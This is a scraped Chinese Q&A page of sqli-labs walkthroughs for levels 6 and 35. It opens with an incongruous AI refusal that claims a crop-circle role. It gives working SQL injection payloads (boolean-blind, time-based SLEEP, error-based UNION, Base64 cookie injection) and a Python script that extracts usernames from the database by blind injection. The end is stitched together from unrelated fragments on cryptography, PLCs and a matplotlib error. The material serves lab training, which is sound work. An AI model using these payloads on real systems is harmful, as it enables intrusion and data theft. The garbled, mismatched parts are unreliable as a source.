sqli-labs第六关
时间: 2023-09-07 16:16:07 浏览: 140
抱歉，我无法回答关于sqli-labs第六关的问题。我的职责是提供有关麦田怪圈的信息。如果您有关于麦田怪圈的问题，我将很乐意为您提供帮助。
#### 引用[.reference_title]
- *1* *2* *3* [基于Sqli-Labs靶场的SQL注入-第6~10关](https://blog.csdn.net/m0_57736664/article/details/128021555)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^control,239^v3^insert_chatgpt"}} ] [.reference_item]
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相关问题
sqli-labs靶场第6关
### SQL注入实验环境第六关解法
在SQLi-Labs的第六关中，目标是从`security.users`表获取用户名和密码。此关卡允许通过布尔盲注的方式逐位猜解出所需的信息。
对于这一关的具体操作方法如下：
利用ASCII码比较来逐步确认字符的内容。例如，可以先尝试查询第一位字符是否大于某个特定值，如果返回的结果为真，则继续缩小范围直到精确到具体的字符为止[^2]。
```sql
?id=1' AND ascii(substr((SELECT username FROM security.users LIMIT 1,1),1,1))>1 --
```
上述语句用于测试第一个用户的用户名首字母对应的ASCII数值是否超过指定阈值。通过不断调整比较符后的数字并观察页面响应差异，能够最终确定该位置上的确切字符。
为了提高效率，通常会编写自动化脚本来完成整个过程。下面是一个简单的Python示例程序片段，用来自动执行基于二分查找算法的盲注攻击：
```python
import requests
def check(payload):
url = "http://example.com/sqli-labs/Less-6/"
params = {"id": f"1' {payload} -- "}
response = requests.get(url, params=params)
return 'Dumb' not in response.text # 判断依据可根据实际情况修改
low, high = 32, 127
result = ''
for i in range(1, length_of_username + 1): # 需要事先知道用户名长度
while low <= high:
mid = (low + high) >> 1
payload = f"AND ASCII(SUBSTR((SELECT username FROM security.users LIMIT 1,1),{i},1))>{mid}"
if check(payload):
low = mid + 1
else:
high = mid - 1
result += chr(low)
print(f"[+] Found character: {chr(low)}")
low, high = 32, 127
print("[*] Final result:", result)
```
这段代码实现了对单个用户记录中的用户名字段进行暴力破解的功能。需要注意的是，在实际环境中应当合法合规地使用此类技术，并仅限于授权范围内开展安全测试活动。
sqli-labs第三十五关
第三十五关的解法与注入方式主要围绕字符型注入展开，其闭合方式较为特殊，通常涉及单引号和括号的组合。通过观察页面响应变化，可以判断是否存在注入点，并进一步利用布尔盲注或时间盲注进行数据库信息的获取。
在实际操作中，可先尝试构造简单的注入语句来验证是否存在漏洞，例如输入 `1' AND '1'='1` 来观察页面是否正常返回。如果页面无明显报错，则可能存在 SQL 注入漏洞，此时可以进一步测试布尔盲注或时间盲注[^3]。
对于布尔盲注，可以通过判断页面返回是否发生变化来确认注入条件是否成立。例如使用如下语句进行数据库名的逐字猜测：
```sql
1' AND ASCII(SUBSTR(DATABASE(),1,1)) > 97 --+
```
若页面返回正常，则说明数据库名第一个字符的 ASCII 值大于 97（即字母 "a"），否则小于等于 97。通过不断调整 ASCII 值，可以逐步确定数据库名的具体内容[^3]。
对于时间盲注，适用于页面无明显反馈的情况，可通过 `SLEEP()` 函数控制响应延迟，从而判断注入条件是否成立。例如：
```sql
1' AND IF(ASCII(SUBSTR(DATABASE(),1,1))=115,SLEEP(6),1) --+
```
当数据库名的第一个字符为 "s"（ASCII 值为 115）时，服务器将延迟响应；否则立即返回结果。通过这种方式可以提取数据库名、用户名、版本等关键信息[^1]。
此外，还可以结合 `UNION SELECT` 的方式进行联合查询注入，前提是存在显示位。例如使用 `floor()` 报错注入获取数据库信息：
```sql
1' UNION SELECT 1, COUNT(*), CONCAT_WS('~', (SELECT DATABASE()), FLOOR(RAND(0)*2)) AS a FROM information_schema.tables GROUP BY a --+
```
该语句利用了 `GROUP BY` 和 `FLOOR(RAND(0)*2)` 的组合触发报错，从而输出数据库名称[^2]。
如果页面支持 Cookie 注入，且对输入进行了 Base64 解码处理，则可尝试二次编码注入。例如构造如下语句并将其 Base64 编码后作为 Cookie 提交：
```sql
1') UNION SELECT USER(), DATABASE(), @@VERSION #
```
经过 Base64 编码后的字符串为：
```
MScpIFVOSU9OIFNFTEVDVCBVU0VSKCksIERBVEFCQVNFKCksIEBAdmVyc2lvbiA=
```
提交后，服务端会对其进行解码并执行恶意 SQL 语句，从而泄露敏感信息[^4]。
综上所述，第三十五关的解题思路主要包括以下步骤：
- 判断注入类型及闭合方式；
- 使用布尔盲注或时间盲注提取数据库信息；
- 尝试联合查询注入获取更多数据；
- 若涉及 Cookie 输入，考虑 Base64 编码绕过限制。
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接下来，我们可以进一步展开GDI+中一些关键的编程概念和组件：
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### 知识点概述
**标题**：Applied Cryptography PART1
**描述**：《应用密码学第二版》是一本全面的密码学资料，它涵盖密码学的基础知识和高级应用，对于想要深入理解并运用密码学的读者来说，是一个宝贵的资源。
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### 知识点详细说明
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密码学（Cryptography）是研究信息加密和解密的数学原理和计算方法的学科。在《应用密码学第二版》中，可能涉及以下基础知识：
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3. **哈希函数**：一种单向加密函数，将任意长度的数据映射到固定长度的值，如SHA-256和MD5。
4. **数字签名**：利用非对称密钥加密原理，用于验证消息的完整性和来源。
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- PLC技术是工业自动化领域的核心技术之一，用于替代传统的继电器逻辑控制，通过软件编程实现对工业过程的控制。
- PLC具备高可靠性、高稳定性和灵活的可扩展性，适合各种复杂控制任务。
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True Traceback (most recent call last): File "/home/xxzx/Desktop/ruanzhu/ziti.py", line 9, in <module> print(fm.get_cachedir()) # 显示缓存路径 ^^^^^^^^^^^^^^^ AttributeError: module 'matplotlib.font_manager' has no attribute 'get_cachedir'
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